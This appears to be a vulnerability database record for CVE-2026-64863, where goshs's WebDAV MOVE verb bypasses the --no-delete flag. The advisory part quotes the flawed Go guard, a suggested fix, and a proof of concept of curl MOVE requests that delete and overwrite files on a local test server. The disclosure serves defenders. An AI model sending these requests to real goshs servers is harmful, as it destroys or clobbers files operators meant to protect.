{"id":"CVE-2026-64863","aliases":["CVE-2026-64863","GHSA-hq33-8jgp-8qq3","GO-2026-6136"],"related":[],"kind":"vulnerability","state":"published","title":"goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite","summary":"goshs is a feature-rich single-binary file server for red teamers and developers. Prior to 2.1.4, the httpserver/server.go wdGuard handled WebDAV MOVE as a write-only method and did not enforce --no-delete, allowing WebDAV clients to delete or overwrite files via MOVE with Overwrite: T. This issue is fixed in version 2.1.4.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"goshs is a feature-rich single-binary file server for red teamers and developers. Prior to 2.1.4, the httpserver/server.go wdGuard handled WebDAV MOVE as a write-only method and did not enforce --no-delete, allowing WebDAV clients to delete or overwrite files via MOVE with Overwrite: T. This issue is fixed in version 2.1.4.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe WebDAV mode-flag guard added to fix GHSA-3whc-qvhv-xqjp still does not enforce `--no-delete` on the WebDAV `MOVE` verb. `MOVE` deletes the source file (rename removes it from its original path), and with `Overwrite: T` it additionally performs an explicit `RemoveAll` on the destination. Under `-w --no-delete`, `DELETE` is correctly blocked (403) but `MOVE` still destroys existing files, defeating the documented \"Disable the delete option\" boundary.\n\nThis is a residual of the parent fix: the guard classifies `MOVE`/`COPY` as write-only verbs (blocked only under `--read-only`) and never treats `MOVE` as a delete, so the `--no-delete` branch never covers it.\n\n## Affected\n\ngoshs v2.1.3 (current release, commit `ba00ce3`). The guard was introduced when GHSA-3whc-qvhv-xqjp was fixed and carries the gap forward.\n\n## Details\n\n`httpserver/server.go`, `wdGuard` (lines 237-254):\n\n```go\nwdGuard := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n    switch r.Method {\n    case http.MethodPut, \"MKCOL\", \"MOVE\", \"COPY\":\n        if fs.ReadOnly {\n            http.Error(w, \"read-only\", http.StatusForbidden)\n            return\n        }\n    case http.MethodDelete:\n        if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {\n            http.Error(w, \"delete disabled\", http.StatusForbidden)\n            return\n        }\n    case http.MethodGet, http.MethodHead:\n        if fs.UploadOnly {\n            http.Error(w, \"upload-only\", http.StatusForbidden)\n            return\n        }\n    }\n    ...\n```\n\n`MOVE` lives in the first case and is gated only by `fs.ReadOnly`. It is never checked against `fs.NoDelete`. But `MOVE` in `golang.org/x/net/webdav` (`file.go`, `moveFiles`) calls `fs.Rename(ctx, src, dst)`, which removes the source from its original location, and when the `Overwrite: T` header is present it first calls `fs.RemoveAll(ctx, dst)` on an existing destination. Both are deletions. So `--no-delete`, whose help text reads \"Disable the delete option\", does not disable deletion via `MOVE`.\n\nThe `.goshs` ACL layer (`webdav_acl.go`) checks auth and block-lists only; it does not enforce the mode flags, so it does not close this gap.\n\n## Proof of concept\n\nReproduced live against goshs v2.1.3 on 2026-07-02. Server started with `--no-delete` and WebDAV enabled:\n\n```\n$ printf 'TOP-SECRET-CONTENTS\\n' > webroot/secret.txt\n$ printf 'VICTIM-EXISTING-FILE\\n'  > webroot/victim.txt\n$ goshs -d webroot -i 127.0.0.1 -p 18080 --webdav --webdav-port 18081 --no-delete\nINFO  Serving WEBDAV on 127.0.0.1:18081 from webroot\n```\n\nControl - DELETE is correctly blocked:\n\n```\n$ curl -s -i -X DELETE http://127.0.0.1:18081/secret.txt\nHTTP/1.1 403 Forbidden\nContent-Type: text/plain; charset=utf-8\nServer: goshs/v2.1.3 (darwin; go1.26.1)\n```\n\nsecret.txt still exists on disk.\n\nBypass 1 - MOVE removes the source file despite --no-delete:\n\n```\n$ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/gone.txt' http://127.0.0.1:18081/secret.txt\nHTTP/1.1 201 Created\nServer: goshs/v2.1.3 (darwin; go1.26.1)\n```\n\nsecret.txt is now deleted from disk (its content is at gone.txt).\n\nBypass 2 - MOVE with Overwrite:T destroys an existing victim file:\n\n```\n# before: victim.txt = VICTIM-EXISTING-FILE\n$ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/victim.txt' -H 'Overwrite: T' http://127.0.0.1:18081/gone.txt\nHTTP/1.1 204 No Content\nServer: goshs/v2.1.3 (darwin; go1.26.1)\n# after:  victim.txt = TOP-SECRET-CONTENTS   (original VICTIM-EXISTING-FILE destroyed via RemoveAll)\n```\n\n## Impact\n\nAn operator running `goshs -w --no-delete -d /srv/artifacts` to deliver files that must not be removed still allows any WebDAV client to delete or clobber existing files via `MOVE`. Confidential existing files can be renamed away or overwritten. The `--no-delete` control is silently ineffective on the WebDAV port for the `MOVE` verb.\n\n## Suggested fix\n\nMove `MOVE` (and `COPY` on collision-with-overwrite, which also deletes) into the delete-gated branch, or add `fs.NoDelete` to the write-verb branch for `MOVE`:\n\n```go\ncase http.MethodPut, \"MKCOL\", \"COPY\":\n    if fs.ReadOnly {\n        http.Error(w, \"read-only\", http.StatusForbidden)\n        return\n    }\ncase \"MOVE\":\n    // MOVE renames (deletes source) and, with Overwrite:T, RemoveAll(dst).\n    if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {\n        http.Error(w, \"move disabled\", http.StatusForbidden)\n        return\n    }\ncase http.MethodDelete:\n    if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {\n        http.Error(w, \"delete disabled\", http.StatusForbidden)\n        return\n    }\n```\n\nAdd an integration test covering `MOVE` under `--no-delete` (the current `testWebdavMoveCopy` only exercises MOVE/COPY in unrestricted mode).","format":"markdown","source":"ghsa"},{"lang":"en","text":"goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite in github.com/patrickhener/goshs","format":"markdown","source":"go"},{"lang":"es","text":"goshs es un servidor de archivos binario único rico en funciones para equipos rojos y desarrolladores. Antes de la versión 2.1.4, el wdGuard de httpserver/server.go manejaba WebDAV MOVE como un método de solo escritura y no aplicaba --no-delete, permitiendo a los clientes WebDAV eliminar o sobrescribir archivos a través de MOVE con Overwrite: T. Este problema está solucionado en la versión 2.1.4.","source":"nvd"}],"published":"2026-07-28T22:02:15.887Z","modified":"2026-10-23T23:10:00.157Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","score":9.1,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","score":9.1,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","score":9.1,"rating":"CRITICAL"}],"cwes":["CWE-284"],"affected":[{"ranges":[{"version":"< 2.1.4","status":"affected"}],"vendor":"goshs-labs","product":"goshs","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.1.4"}],"ecosystem":"Go","package":"goshs.de/goshs/v2","purl":"pkg:golang/goshs.de/goshs/v2","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.1.4"}],"ecosystem":"Go","package":"github.com/patrickhener/goshs/v2","purl":"pkg:golang/github.com/patrickhener/goshs/v2","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"1.1.4"}],"ecosystem":"Go","package":"goshs.de/goshs","purl":"pkg:golang/goshs.de/goshs","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"1.1.4"}],"ecosystem":"Go","package":"github.com/patrickhener/goshs","purl":"pkg:golang/github.com/patrickhener/goshs","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/patrickhener/goshs","purl":"pkg:golang/github.com/patrickhener/goshs","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"goshs.de/goshs","purl":"pkg:golang/goshs.de/goshs","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.1.4"}],"ecosystem":"Go","package":"goshs.de/goshs/v2","purl":"pkg:golang/goshs.de/goshs/v2","source":"go"}],"references":[{"url":"https://github.com/goshs-labs/goshs/security/advisories/GHSA-hq33-8jgp-8qq3","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/goshs-labs/goshs/commit/0444ac6b1a8176ddae70d940adf7a26b2e5a6c29","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.4","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/goshs-labs/goshs","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-07-29T12:47:46.100Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-64863","url":"https://www.cve.org/CVERecord?id=CVE-2026-64863","licence":"CVE Terms of Use","modified":"2026-07-29T12:48:07.346Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-hq33-8jgp-8qq3","url":"https://github.com/advisories/GHSA-hq33-8jgp-8qq3","licence":"CC-BY-4.0","modified":"2026-08-18T15:10:30.737Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-6136","url":"https://pkg.go.dev/vuln/GO-2026-6136","licence":"CC-BY-4.0","modified":"2026-08-18T15:00:22.395Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-64863","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-64863","licence":"Public domain","modified":"2026-10-23T23:10:00.157Z"}],"updatedAt":"2026-11-25T22:59:30.396Z","epss":{"score":0.00423,"percentile":0.38568,"date":"2026-12-01T12:00:22.000Z"}}